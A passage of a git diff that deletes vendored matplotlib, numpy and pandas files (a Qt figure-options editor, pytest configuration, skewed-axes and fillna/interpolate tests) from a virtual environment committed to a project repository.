-    labeled_lines = []
-    for line in axes.get_lines():
-        label = line.get_label()
-        if label == '_nolegend_':
-            continue
-        labeled_lines.append((label, line))
-    curves = []
-
-    def prepare_data(d, init):
-        """
-        Prepare entry for FormLayout.
-
-        *d* is a mapping of shorthands to style names (a single style may
-        have multiple shorthands, in particular the shorthands `None`,
-        `"None"`, `"none"` and `""` are synonyms); *init* is one shorthand
-        of the initial style.
-
-        This function returns an list suitable for initializing a
-        FormLayout combobox, namely `[initial_name, (shorthand,
-        style_name), (shorthand, style_name), ...]`.
-        """
-        if init not in d:
-            d = {**d, init: str(init)}
-        # Drop duplicate shorthands from dict (by overwriting them during
-        # the dict comprehension).
-        name2short = {name: short for short, name in d.items()}
-        # Convert back to {shorthand: name}.
-        short2name = {short: name for name, short in name2short.items()}
-        # Find the kept shorthand for the style specified by init.
-        canonical_init = name2short[d[init]]
-        # Sort by representation and prepend the initial value.
-        return ([canonical_init] +
-                sorted(short2name.items(),
-                       key=lambda short_and_name: short_and_name[1]))
-
-    for label, line in labeled_lines:
-        color = mcolors.to_hex(
-            mcolors.to_rgba(line.get_color(), line.get_alpha()),
-            keep_alpha=True)
-        ec = mcolors.to_hex(
-            mcolors.to_rgba(line.get_markeredgecolor(), line.get_alpha()),
-            keep_alpha=True)
-        fc = mcolors.to_hex(
-            mcolors.to_rgba(line.get_markerfacecolor(), line.get_alpha()),
-            keep_alpha=True)
-        curvedata = [
-            ('Label', label),
-            sep,
-            (None, '<b>Line</b>'),
-            ('Line style', prepare_data(LINESTYLES, line.get_linestyle())),
-            ('Draw style', prepare_data(DRAWSTYLES, line.get_drawstyle())),
-            ('Width', line.get_linewidth()),
-            ('Color (RGBA)', color),
-            sep,
-            (None, '<b>Marker</b>'),
-            ('Style', prepare_data(MARKERS, line.get_marker())),
-            ('Size', line.get_markersize()),
-            ('Face color (RGBA)', fc),
-            ('Edge color (RGBA)', ec)]
-        curves.append([curvedata, label, ""])
-    # Is there a curve displayed?
-    has_curve = bool(curves)
-
-    # Get ScalarMappables.
-    labeled_mappables = []
-    for mappable in [*axes.images, *axes.collections]:
-        label = mappable.get_label()
-        if label == '_nolegend_' or mappable.get_array() is None:
-            continue
-        labeled_mappables.append((label, mappable))
-    mappables = []
-    cmaps = [(cmap, name) for name, cmap in sorted(cm._colormaps.items())]
-    for label, mappable in labeled_mappables:
-        cmap = mappable.get_cmap()
-        if cmap not in cm._colormaps.values():
-            cmaps = [(cmap, cmap.name), *cmaps]
-        low, high = mappable.get_clim()
-        mappabledata = [
-            ('Label', label),
-            ('Colormap', [cmap.name] + cmaps),
-            ('Min. value', low),
-            ('Max. value', high),
-        ]
-        if hasattr(mappable, "get_interpolation"):  # Images.
-            interpolations = [
-                (name, name) for name in sorted(mimage.interpolations_names)]
-            mappabledata.append((
-                'Interpolation',
-                [mappable.get_interpolation(), *interpolations]))
-        mappables.append([mappabledata, label, ""])
-    # Is there a scalarmappable displayed?
-    has_sm = bool(mappables)
-
-    datalist = [(general, "Axes", "")]
-    if curves:
-        datalist.append((curves, "Curves", ""))
-    if mappables:
-        datalist.append((mappables, "Images, etc.", ""))
-
-    def apply_callback(data):
-        """A callback to apply changes."""
-        orig_limits = {
-            name: getattr(axes, f"get_{name}lim")()
-            for name in axis_map
-        }
-
-        general = data.pop(0)
-        curves = data.pop(0) if has_curve else []
-        mappables = data.pop(0) if has_sm else []
-        if data:
-            raise ValueError("Unexpected field")
-
-        title = general.pop(0)
-        axes.set_title(title)
-        generate_legend = general.pop()
-
-        for i, (name, axis) in enumerate(axis_map.items()):
-            axis_min = general[4*i]
-            axis_max = general[4*i + 1]
-            axis_label = general[4*i + 2]
-            axis_scale = general[4*i + 3]
-            if axis.get_scale() != axis_scale:
-                getattr(axes, f"set_{name}scale")(axis_scale)
-
-            axis._set_lim(axis_min, axis_max, auto=False)
-            axis.set_label_text(axis_label)
-
-            # Restore the unit data
-            axis.converter = axis_converter[name]
-            axis.set_units(axis_units[name])
-
-        # Set / Curves
-        for index, curve in enumerate(curves):
-            line = labeled_lines[index][1]
-            (label, linestyle, drawstyle, linewidth, color, marker, markersize,
-             markerfacecolor, markeredgecolor) = curve
-            line.set_label(label)
-            line.set_linestyle(linestyle)
-            line.set_drawstyle(drawstyle)
-            line.set_linewidth(linewidth)
-            rgba = mcolors.to_rgba(color)
-            line.set_alpha(None)
-            line.set_color(rgba)
-            if marker != 'none':
-                line.set_marker(marker)
-                line.set_markersize(markersize)
-                line.set_markerfacecolor(markerfacecolor)
-                line.set_markeredgecolor(markeredgecolor)
-
-        # Set ScalarMappables.
-        for index, mappable_settings in enumerate(mappables):
-            mappable = labeled_mappables[index][1]
-            if len(mappable_settings) == 5:
-                label, cmap, low, high, interpolation = mappable_settings
-                mappable.set_interpolation(interpolation)
-            elif len(mappable_settings) == 4:
-                label, cmap, low, high = mappable_settings
-            mappable.set_label(label)
-            mappable.set_cmap(cmap)
-            mappable.set_clim(*sorted([low, high]))
-
-        # re-generate legend, if checkbox is checked
-        if generate_legend:
-            draggable = None
-            ncols = 1
-            if axes.legend_ is not None:
-                old_legend = axes.get_legend()
-                draggable = old_legend._draggable is not None
-                ncols = old_legend._ncols
-            new_legend = axes.legend(ncols=ncols)
-            if new_legend:
-                new_legend.set_draggable(draggable)
-
-        # Redraw
-        figure = axes.get_figure()
-        figure.canvas.draw()
-        for name in axis_map:
-            if getattr(axes, f"get_{name}lim")() != orig_limits[name]:
-                figure.canvas.toolbar.push_current()
-                break
-
-    _formlayout.fedit(
-        datalist, title="Figure options", parent=parent,
-        icon=QtGui.QIcon(
-            str(cbook._get_data_path('images', 'qt4_editor_options.svg'))),
-        apply=apply_callback)
diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/matplotlib/testing/conftest.py b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/matplotlib/testing/conftest.py
deleted file mode 100644
index c285c247e7b47796a2e58d6c8c7d342e3781feee..0000000000000000000000000000000000000000
--- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/matplotlib/testing/conftest.py
+++ /dev/null
@@ -1,100 +0,0 @@
-import pytest
-import sys
-import matplotlib
-from matplotlib import _api
-
-
-def pytest_configure(config):
-    # config is initialized here rather than in pytest.ini so that `pytest
-    # --pyargs matplotlib` (which would not find pytest.ini) works.  The only
-    # entries in pytest.ini set minversion (which is checked earlier),
-    # testpaths/python_files, as they are required to properly find the tests
-    for key, value in [
-        ("markers", "flaky: (Provided by pytest-rerunfailures.)"),
-        ("markers", "timeout: (Provided by pytest-timeout.)"),
-        ("markers", "backend: Set alternate Matplotlib backend temporarily."),
-        ("markers", "baseline_images: Compare output against references."),
-        ("markers", "pytz: Tests that require pytz to be installed."),
-        ("filterwarnings", "error"),
-        ("filterwarnings",
-         "ignore:.*The py23 module has been deprecated:DeprecationWarning"),
-        ("filterwarnings",
-         r"ignore:DynamicImporter.find_spec\(\) not found; "
-         r"falling back to find_module\(\):ImportWarning"),
-    ]:
-        config.addinivalue_line(key, value)
-
-    matplotlib.use('agg', force=True)
-    matplotlib._called_from_pytest = True
-    matplotlib._init_tests()
-
-
-def pytest_unconfigure(config):
-    matplotlib._called_from_pytest = False
-
-
-@pytest.fixture(autouse=True)
-def mpl_test_settings(request):
-    from matplotlib.testing.decorators import _cleanup_cm
-
-    with _cleanup_cm():
-
-        backend = None
-        backend_marker = request.node.get_closest_marker('backend')
-        prev_backend = matplotlib.get_backend()
-        if backend_marker is not None:
-            assert len(backend_marker.args) == 1, \
-                "Marker 'backend' must specify 1 backend."
-            backend, = backend_marker.args
-            skip_on_importerror = backend_marker.kwargs.get(
-                'skip_on_importerror', False)
-
-            # special case Qt backend importing to avoid conflicts
-            if backend.lower().startswith('qt5'):
-                if any(sys.modules.get(k) for k in ('PyQt4', 'PySide')):
-                    pytest.skip('Qt4 binding already imported')
-
-        matplotlib.testing.setup()
-        with _api.suppress_matplotlib_deprecation_warning():
-            if backend is not None:
-                # This import must come after setup() so it doesn't load the
-                # default backend prematurely.
-                import matplotlib.pyplot as plt
-                try:
-                    plt.switch_backend(backend)
-                except ImportError as exc:
-                    # Should only occur for the cairo backend tests, if neither
-                    # pycairo nor cairocffi are installed.
-                    if 'cairo' in backend.lower() or skip_on_importerror:
-                        pytest.skip("Failed to switch to backend "
-                                    f"{backend} ({exc}).")
-                    else:
-                        raise
-            # Default of cleanup and image_comparison too.
-            matplotlib.style.use(["classic", "_classic_test_patch"])
-        try:
-            yield
-        finally:
-            if backend is not None:
-                plt.close("all")
-                matplotlib.use(prev_backend)
-
-
-@pytest.fixture
-def pd():
-    """Fixture to import and configure pandas."""
-    pd = pytest.importorskip('pandas')
-    try:
-        from pandas.plotting import (
-            deregister_matplotlib_converters as deregister)
-        deregister()
-    except ImportError:
-        pass
-    return pd
-
-
-@pytest.fixture
-def xr():
-    """Fixture to import xarray."""
-    xr = pytest.importorskip('xarray')
-    return xr
diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/matplotlib/tests/test_skew.py b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/matplotlib/tests/test_skew.py
deleted file mode 100644
index df17b2f70a99177b0ad6284630d625d461d86e5d..0000000000000000000000000000000000000000
--- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/matplotlib/tests/test_skew.py
+++ /dev/null
@@ -1,168 +0,0 @@
-"""
-Testing that skewed axes properly work.
-"""
-
-from contextlib import ExitStack
-import itertools
-
-import matplotlib.pyplot as plt
-from matplotlib.testing.decorators import image_comparison
-
-from matplotlib.axes import Axes
-import matplotlib.transforms as transforms
-import matplotlib.axis as maxis
-import matplotlib.spines as mspines
-import matplotlib.patches as mpatch
-from matplotlib.projections import register_projection
-
-
-# The sole purpose of this class is to look at the upper, lower, or total
-# interval as appropriate and see what parts of the tick to draw, if any.
-class SkewXTick(maxis.XTick):
-    def draw(self, renderer):
-        with ExitStack() as stack:
-            for artist in [self.gridline, self.tick1line, self.tick2line,
-                           self.label1, self.label2]:
-                stack.callback(artist.set_visible, artist.get_visible())
-            needs_lower = transforms.interval_contains(
-                self.axes.lower_xlim, self.get_loc())
-            needs_upper = transforms.interval_contains(
-                self.axes.upper_xlim, self.get_loc())
-            self.tick1line.set_visible(
-                self.tick1line.get_visible() and needs_lower)
-            self.label1.set_visible(
-                self.label1.get_visible() and needs_lower)
-            self.tick2line.set_visible(
-                self.tick2line.get_visible() and needs_upper)
-            self.label2.set_visible(
-                self.label2.get_visible() and needs_upper)
-            super().draw(renderer)
-
-    def get_view_interval(self):
-        return self.axes.xaxis.get_view_interval()
-
-
-# This class exists to provide two separate sets of intervals to the tick,
-# as well as create instances of the custom tick
-class SkewXAxis(maxis.XAxis):
-    def _get_tick(self, major):
-        return SkewXTick(self.axes, None, major=major)
-
-    def get_view_interval(self):
-        return self.axes.upper_xlim[0], self.axes.lower_xlim[1]
-
-
-# This class exists to calculate the separate data range of the
-# upper X-axis and draw the spine there. It also provides this range
-# to the X-axis artist for ticking and gridlines
-class SkewSpine(mspines.Spine):
-    def _adjust_location(self):
-        pts = self._path.vertices
-        if self.spine_type == 'top':
-            pts[:, 0] = self.axes.upper_xlim
-        else:
-            pts[:, 0] = self.axes.lower_xlim
-
-
-# This class handles registration of the skew-xaxes as a projection as well
-# as setting up the appropriate transformations. It also overrides standard
-# spines and axes instances as appropriate.
-class SkewXAxes(Axes):
-    # The projection must specify a name.  This will be used be the
-    # user to select the projection, i.e. ``subplot(projection='skewx')``.
-    name = 'skewx'
-
-    def _init_axis(self):
-        # Taken from Axes and modified to use our modified X-axis
-        self.xaxis = SkewXAxis(self)
-        self.spines.top.register_axis(self.xaxis)
-        self.spines.bottom.register_axis(self.xaxis)
-        self.yaxis = maxis.YAxis(self)
-        self.spines.left.register_axis(self.yaxis)
-        self.spines.right.register_axis(self.yaxis)
-
-    def _gen_axes_spines(self):
-        spines = {'top': SkewSpine.linear_spine(self, 'top'),
-                  'bottom': mspines.Spine.linear_spine(self, 'bottom'),
-                  'left': mspines.Spine.linear_spine(self, 'left'),
-                  'right': mspines.Spine.linear_spine(self, 'right')}
-        return spines
-
-    def _set_lim_and_transforms(self):
-        """
-        This is called once when the plot is created to set up all the
-        transforms for the data, text and grids.
-        """
-        rot = 30
-
-        # Get the standard transform setup from the Axes base class
-        super()._set_lim_and_transforms()
-
-        # Need to put the skew in the middle, after the scale and limits,
-        # but before the transAxes. This way, the skew is done in Axes
-        # coordinates thus performing the transform around the proper origin
-        # We keep the pre-transAxes transform around for other users, like the
-        # spines for finding bounds
-        self.transDataToAxes = (self.transScale +
-                                (self.transLimits +
-                                 transforms.Affine2D().skew_deg(rot, 0)))
-
-        # Create the full transform from Data to Pixels
-        self.transData = self.transDataToAxes + self.transAxes
-
-        # Blended transforms like this need to have the skewing applied using
-        # both axes, in axes coords like before.
-        self._xaxis_transform = (transforms.blended_transform_factory(
-            self.transScale + self.transLimits,
-            transforms.IdentityTransform()) +
-            transforms.Affine2D().skew_deg(rot, 0)) + self.transAxes
-
-    @property
-    def lower_xlim(self):
-        return self.axes.viewLim.intervalx
-
-    @property
-    def upper_xlim(self):
-        pts = [[0., 1.], [1., 1.]]
-        return self.transDataToAxes.inverted().transform(pts)[:, 0]
-
-
-# Now register the projection with matplotlib so the user can select
-# it.
-register_projection(SkewXAxes)
-
-
-@image_comparison(['skew_axes'], remove_text=True)
-def test_set_line_coll_dash_image():
-    fig = plt.figure()
-    ax = fig.add_subplot(1, 1, 1, projection='skewx')
-    ax.set_xlim(-50, 50)
-    ax.set_ylim(50, -50)
-    ax.grid(True)
-
-    # An example of a slanted line at constant X
-    ax.axvline(0, color='b')
-
-
-@image_comparison(['skew_rects'], remove_text=True)
-def test_skew_rectangle():
-
-    fix, axes = plt.subplots(5, 5, sharex=True, sharey=True, figsize=(8, 8))
-    axes = axes.flat
-
-    rotations = list(itertools.product([-3, -1, 0, 1, 3], repeat=2))
-
-    axes[0].set_xlim([-3, 3])
-    axes[0].set_ylim([-3, 3])
-    axes[0].set_aspect('equal', share=True)
-
-    for ax, (xrots, yrots) in zip(axes, rotations):
-        xdeg, ydeg = 45 * xrots, 45 * yrots
-        t = transforms.Affine2D().skew_deg(xdeg, ydeg)
-
-        ax.set_title(f'Skew of {xdeg} in X and {ydeg} in Y')
-        ax.add_patch(mpatch.Rectangle([-1, -1], 2, 2,
-                                      transform=t + ax.transData,
-                                      alpha=0.5, facecolor='coral'))
-
-    plt.subplots_adjust(wspace=0, left=0.01, right=0.99, bottom=0.01, top=0.99)
diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/matplotlib/tri/triangulation.py b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/matplotlib/tri/triangulation.py
deleted file mode 100644
index c48b09b280ff3c14c9a7a671c1cf0934b3ad2aa9..0000000000000000000000000000000000000000
--- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/matplotlib/tri/triangulation.py
+++ /dev/null
@@ -1,9 +0,0 @@
-from ._triangulation import *  # noqa: F401, F403
-from matplotlib import _api
-
-
-_api.warn_deprecated(
-    "3.7",
-    message=f"Importing {__name__} was deprecated in Matplotlib 3.7 and will "
-            f"be removed two minor releases later. All functionality is "
-            f"available via the top-level module matplotlib.tri")
diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/numpy/f2py/tests/src/mixed/foo.f b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/numpy/f2py/tests/src/mixed/foo.f
deleted file mode 100644
index c34742578f8551729fdc3474d86e92c87e2868d2..0000000000000000000000000000000000000000
--- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/numpy/f2py/tests/src/mixed/foo.f
+++ /dev/null
@@ -1,5 +0,0 @@
-      subroutine bar11(a)
-cf2py intent(out) a
-      integer a
-      a = 11
-      end
diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/pandas/tests/copy_view/test_interp_fillna.py b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/pandas/tests/copy_view/test_interp_fillna.py
deleted file mode 100644
index 5507e81d04e2a11c921306c505d462130e211baa..0000000000000000000000000000000000000000
--- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/pandas/tests/copy_view/test_interp_fillna.py
+++ /dev/null
@@ -1,377 +0,0 @@
-import numpy as np
-import pytest
-
-from pandas import (
-    NA,
-    ArrowDtype,
-    DataFrame,
-    Interval,
-    NaT,
-    Series,
-    Timestamp,
-    interval_range,
-)
-import pandas._testing as tm
-from pandas.tests.copy_view.util import get_array
-
-
-@pytest.mark.parametrize("method", ["pad", "nearest", "linear"])
-def test_interpolate_no_op(using_copy_on_write, method):
-    df = DataFrame({"a": [1, 2]})
-    df_orig = df.copy()
-
-    warn = None
-    if method == "pad":
-        warn = FutureWarning
-    msg = "DataFrame.interpolate with method=pad is deprecated"
-    with tm.assert_produces_warning(warn, match=msg):
-        result = df.interpolate(method=method)
-
-    if using_copy_on_write:
-        assert np.shares_memory(get_array(result, "a"), get_array(df, "a"))
-    else:
-        assert not np.shares_memory(get_array(result, "a"), get_array(df, "a"))
-
-    result.iloc[0, 0] = 100
-
-    if using_copy_on_write:
-        assert not np.shares_memory(get_array(result, "a"), get_array(df, "a"))
-    tm.assert_frame_equal(df, df_orig)
-
-
-@pytest.mark.parametrize("func", ["ffill", "bfill"])
-def test_interp_fill_functions(using_copy_on_write, func):
-    # Check that these takes the same code paths as interpolate
-    df = DataFrame({"a": [1, 2]})
-    df_orig = df.copy()
-
-    result = getattr(df, func)()
-
-    if using_copy_on_write:
-        assert np.shares_memory(get_array(result, "a"), get_array(df, "a"))
-    else:
-        assert not np.shares_memory(get_array(result, "a"), get_array(df, "a"))
-
-    result.iloc[0, 0] = 100
-
-    if using_copy_on_write:
-        assert not np.shares_memory(get_array(result, "a"), get_array(df, "a"))
-    tm.assert_frame_equal(df, df_orig)
-
-
-@pytest.mark.parametrize("func", ["ffill", "bfill"])
-@pytest.mark.parametrize(
-    "vals", [[1, np.nan, 2], [Timestamp("2019-12-31"), NaT, Timestamp("2020-12-31")]]
-)
-def test_interpolate_triggers_copy(using_copy_on_write, vals, func):
-    df = DataFrame({"a": vals})
-    result = getattr(df, func)()
-
-    assert not np.shares_memory(get_array(result, "a"), get_array(df, "a"))
-    if using_copy_on_write:
-        # Check that we don't have references when triggering a copy
-        assert result._mgr._has_no_reference(0)
-
-
-@pytest.mark.parametrize(
-    "vals", [[1, np.nan, 2], [Timestamp("2019-12-31"), NaT, Timestamp("2020-12-31")]]
-)
-def test_interpolate_inplace_no_reference_no_copy(using_copy_on_write, vals):
-    df = DataFrame({"a": vals})
-    arr = get_array(df, "a")
-    df.interpolate(method="linear", inplace=True)
-
-    assert np.shares_memory(arr, get_array(df, "a"))
-    if using_copy_on_write:
-        # Check that we don't have references when triggering a copy
-        assert df._mgr._has_no_reference(0)
-
-
-@pytest.mark.parametrize(
-    "vals", [[1, np.nan, 2], [Timestamp("2019-12-31"), NaT, Timestamp("2020-12-31")]]
-)
-def test_interpolate_inplace_with_refs(using_copy_on_write, vals):
-    df = DataFrame({"a": [1, np.nan, 2]})
-    df_orig = df.copy()
-    arr = get_array(df, "a")
-    view = df[:]
-    df.interpolate(method="linear", inplace=True)
-
-    if using_copy_on_write:
-        # Check that copy was triggered in interpolate and that we don't
-        # have any references left
-        assert not np.shares_memory(arr, get_array(df, "a"))
-        tm.assert_frame_equal(df_orig, view)
-        assert df._mgr._has_no_reference(0)
-        assert view._mgr._has_no_reference(0)
-    else:
-        assert np.shares_memory(arr, get_array(df, "a"))
-
-
-def test_interpolate_cleaned_fill_method(using_copy_on_write):
-    # Check that "method is set to None" case works correctly
-    df = DataFrame({"a": ["a", np.nan, "c"], "b": 1})
-    df_orig = df.copy()
-
-    msg = "DataFrame.interpolate with object dtype"
-    with tm.assert_produces_warning(FutureWarning, match=msg):
-        result = df.interpolate(method="linear")
-
-    if using_copy_on_write:
-        assert np.shares_memory(get_array(result, "a"), get_array(df, "a"))
-    else:
-        assert not np.shares_memory(get_array(result, "a"), get_array(df, "a"))
-
-    result.iloc[0, 0] = Timestamp("2021-12-31")
-
-    if using_copy_on_write:
-        assert not np.shares_memory(get_array(result, "a"), get_array(df, "a"))
-    tm.assert_frame_equal(df, df_orig)
-
-
-def test_interpolate_object_convert_no_op(using_copy_on_write):
-    df = DataFrame({"a": ["a", "b", "c"], "b": 1})
-    arr_a = get_array(df, "a")
-    msg = "DataFrame.interpolate with method=pad is deprecated"
-    with tm.assert_produces_warning(FutureWarning, match=msg):
-        df.interpolate(method="pad", inplace=True)
-
-    # Now CoW makes a copy, it should not!
-    if using_copy_on_write:
-        assert df._mgr._has_no_reference(0)
-        assert np.shares_memory(arr_a, get_array(df, "a"))
-
-
-def test_interpolate_object_convert_copies(using_copy_on_write):
-    df = DataFrame({"a": Series([1, 2], dtype=object), "b": 1})
-    arr_a = get_array(df, "a")
-    msg = "DataFrame.interpolate with method=pad is deprecated"
-    with tm.assert_produces_warning(FutureWarning, match=msg):
-        df.interpolate(method="pad", inplace=True)
-
-    if using_copy_on_write:
-        assert df._mgr._has_no_reference(0)
-        assert not np.shares_memory(arr_a, get_array(df, "a"))
-
-
-def test_interpolate_downcast(using_copy_on_write):
-    df = DataFrame({"a": [1, np.nan, 2.5], "b": 1})
-    arr_a = get_array(df, "a")
-    msg = "DataFrame.interpolate with method=pad is deprecated"
-    with tm.assert_produces_warning(FutureWarning, match=msg):
-        df.interpolate(method="pad", inplace=True, downcast="infer")
-
-    if using_copy_on_write:
-        assert df._mgr._has_no_reference(0)
-    assert np.shares_memory(arr_a, get_array(df, "a"))
-
-
-def test_interpolate_downcast_reference_triggers_copy(using_copy_on_write):
-    df = DataFrame({"a": [1, np.nan, 2.5], "b": 1})
-    df_orig = df.copy()
-    arr_a = get_array(df, "a")
-    view = df[:]
-    msg = "DataFrame.interpolate with method=pad is deprecated"
-    with tm.assert_produces_warning(FutureWarning, match=msg):
-        df.interpolate(method="pad", inplace=True, downcast="infer")
-
-    if using_copy_on_write:
-        assert df._mgr._has_no_reference(0)
-        assert not np.shares_memory(arr_a, get_array(df, "a"))
-        tm.assert_frame_equal(df_orig, view)
-    else:
-        tm.assert_frame_equal(df, view)
-
-
-def test_fillna(using_copy_on_write):
-    df = DataFrame({"a": [1.5, np.nan], "b": 1})
-    df_orig = df.copy()
-
-    df2 = df.fillna(5.5)
-    if using_copy_on_write:
-        assert np.shares_memory(get_array(df, "b"), get_array(df2, "b"))
-    else:
-        assert not np.shares_memory(get_array(df, "b"), get_array(df2, "b"))
-
-    df2.iloc[0, 1] = 100
-    tm.assert_frame_equal(df_orig, df)
-
-
-def test_fillna_dict(using_copy_on_write):
-    df = DataFrame({"a": [1.5, np.nan], "b": 1})
-    df_orig = df.copy()
-
-    df2 = df.fillna({"a": 100.5})
-    if using_copy_on_write:
-        assert np.shares_memory(get_array(df, "b"), get_array(df2, "b"))
-        assert not np.shares_memory(get_array(df, "a"), get_array(df2, "a"))
-    else:
-        assert not np.shares_memory(get_array(df, "b"), get_array(df2, "b"))
-
-    df2.iloc[0, 1] = 100
-    tm.assert_frame_equal(df_orig, df)
-
-
-@pytest.mark.parametrize("downcast", [None, False])
-def test_fillna_inplace(using_copy_on_write, downcast):
-    df = DataFrame({"a": [1.5, np.nan], "b": 1})
-    arr_a = get_array(df, "a")
-    arr_b = get_array(df, "b")
-
-    msg = "The 'downcast' keyword in fillna is deprecated"
-    with tm.assert_produces_warning(FutureWarning, match=msg):
-        df.fillna(5.5, inplace=True, downcast=downcast)
-    assert np.shares_memory(get_array(df, "a"), arr_a)
-    assert np.shares_memory(get_array(df, "b"), arr_b)
-    if using_copy_on_write:
-        assert df._mgr._has_no_reference(0)
-        assert df._mgr._has_no_reference(1)
-
-
-def test_fillna_inplace_reference(using_copy_on_write):
-    df = DataFrame({"a": [1.5, np.nan], "b": 1})
-    df_orig = df.copy()
-    arr_a = get_array(df, "a")
-    arr_b = get_array(df, "b")
-    view = df[:]
-
-    df.fillna(5.5, inplace=True)
-    if using_copy_on_write:
-        assert not np.shares_memory(get_array(df, "a"), arr_a)
-        assert np.shares_memory(get_array(df, "b"), arr_b)
-        assert view._mgr._has_no_reference(0)
-        assert df._mgr._has_no_reference(0)
-        tm.assert_frame_equal(view, df_orig)
-    else:
-        assert np.shares_memory(get_array(df, "a"), arr_a)
-        assert np.shares_memory(get_array(df, "b"), arr_b)
-    expected = DataFrame({"a": [1.5, 5.5], "b": 1})
-    tm.assert_frame_equal(df, expected)
-
-
-def test_fillna_interval_inplace_reference(using_copy_on_write):
-    # Set dtype explicitly to avoid implicit cast when setting nan
-    ser = Series(
-        interval_range(start=0, end=5), name="a", dtype="interval[float64, right]"
-    )
-    ser.iloc[1] = np.nan
-
-    ser_orig = ser.copy()
-    view = ser[:]
-    ser.fillna(value=Interval(left=0, right=5), inplace=True)
-
-    if using_copy_on_write:
-        assert not np.shares_memory(
-            get_array(ser, "a").left.values, get_array(view, "a").left.values
-        )
-        tm.assert_series_equal(view, ser_orig)
-    else:
-        assert np.shares_memory(
-            get_array(ser, "a").left.values, get_array(view, "a").left.values
-        )
-
-
-def test_fillna_series_empty_arg(using_copy_on_write):
-    ser = Series([1, np.nan, 2])
-    ser_orig = ser.copy()
-    result = ser.fillna({})
-
-    if using_copy_on_write:
-        assert np.shares_memory(get_array(ser), get_array(result))
-    else:
-        assert not np.shares_memory(get_array(ser), get_array(result))
-
-    ser.iloc[0] = 100.5
-    tm.assert_series_equal(ser_orig, result)
-
-
-def test_fillna_series_empty_arg_inplace(using_copy_on_write):
-    ser = Series([1, np.nan, 2])
-    arr = get_array(ser)
-    ser.fillna({}, inplace=True)
-
-    assert np.shares_memory(get_array(ser), arr)
-    if using_copy_on_write:
-        assert ser._mgr._has_no_reference(0)
-
-
-def test_fillna_ea_noop_shares_memory(
-    using_copy_on_write, any_numeric_ea_and_arrow_dtype
-):
-    df = DataFrame({"a": [1, NA, 3], "b": 1}, dtype=any_numeric_ea_and_arrow_dtype)
-    df_orig = df.copy()
-    df2 = df.fillna(100)
-
-    assert not np.shares_memory(get_array(df, "a"), get_array(df2, "a"))
-
-    if using_copy_on_write:
-        assert np.shares_memory(get_array(df, "b"), get_array(df2, "b"))
-        assert not df2._mgr._has_no_reference(1)
-    elif isinstance(df.dtypes.iloc[0], ArrowDtype):
-        # arrow is immutable, so no-ops do not need to copy underlying array
-        assert np.shares_memory(get_array(df, "b"), get_array(df2, "b"))
-    else:
-        assert not np.shares_memory(get_array(df, "b"), get_array(df2, "b"))
-
-    tm.assert_frame_equal(df_orig, df)
-
-    df2.iloc[0, 1] = 100
-    if using_copy_on_write:
-        assert not np.shares_memory(get_array(df, "b"), get_array(df2, "b"))
-        assert df2._mgr._has_no_reference(1)
-        assert df._mgr._has_no_reference(1)
-    tm.assert_frame_equal(df_orig, df)
-
-
-def test_fillna_inplace_ea_noop_shares_memory(
-    using_copy_on_write, any_numeric_ea_and_arrow_dtype
-):
-    df = DataFrame({"a": [1, NA, 3], "b": 1}, dtype=any_numeric_ea_and_arrow_dtype)
-    df_orig = df.copy()
-    view = df[:]
-    df.fillna(100, inplace=True)
-
-    if isinstance(df["a"].dtype, ArrowDtype) or using_copy_on_write:
-        assert not np.shares_memory(get_array(df, "a"), get_array(view, "a"))
-    else:
-        # MaskedArray can actually respect inplace=True
-        assert np.shares_memory(get_array(df, "a"), get_array(view, "a"))
-
-    assert np.shares_memory(get_array(df, "b"), get_array(view, "b"))
-    if using_copy_on_write:
-        assert not df._mgr._has_no_reference(1)
-        assert not view._mgr._has_no_reference(1)
-
-    df.iloc[0, 1] = 100
-    if isinstance(df["a"].dtype, ArrowDtype) or using_copy_on_write:
-        tm.assert_frame_equal(df_orig, view)
-    else:
-        # we actually have a view
-        tm.assert_frame_equal(df, view)
-
-
-def test_fillna_chained_assignment(using_copy_on_write):
-    df = DataFrame({"a": [1, np.nan, 2], "b": 1})
-    df_orig = df.copy()
-    if using_copy_on_write:
-        with tm.raises_chained_assignment_error():
-            df["a"].fillna(100, inplace=True)
-        tm.assert_frame_equal(df, df_orig)
-
-        with tm.raises_chained_assignment_error():
-            df[["a"]].fillna(100, inplace=True)
-        tm.assert_frame_equal(df, df_orig)
-
-
-@pytest.mark.parametrize("func", ["interpolate", "ffill", "bfill"])
-def test_interpolate_chained_assignment(using_copy_on_write, func):
-    df = DataFrame({"a": [1, np.nan, 2], "b": 1})
-    df_orig = df.copy()
-    if using_copy_on_write:
-        with tm.raises_chained_assignment_error():
-            getattr(df["a"], func)(inplace=True)
-        tm.assert_frame_equal(df, df_orig)
-
-        with tm.raises_chained_assignment_error():
-            getattr(df[["a"]], func)(inplace=True)
-        tm.assert_frame_equal(df, df_orig)
diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/pandas/tests/frame/methods/test_drop.py b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/pandas/tests/frame/methods/test_drop.py
deleted file mode 100644
index 9a4882f11e961ea965301caa2e5db69b25a3aa7a..0000000000000000000000000000000000000000
--- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/pandas/tests/frame/methods/test_drop.py
+++ /dev/null
@@ -1,546 +0,0 @@
-import re
-
-import numpy as np
-import pytest
-
-from pandas.errors import PerformanceWarning
-
-import pandas as pd
-from pandas import (
-    DataFrame,
-    DatetimeIndex,
-    Index,
-    MultiIndex,
-    Series,
-    Timestamp,
-)
-import pandas._testing as tm
-
-
-@pytest.mark.parametrize(
-    "msg,labels,level",
-    [
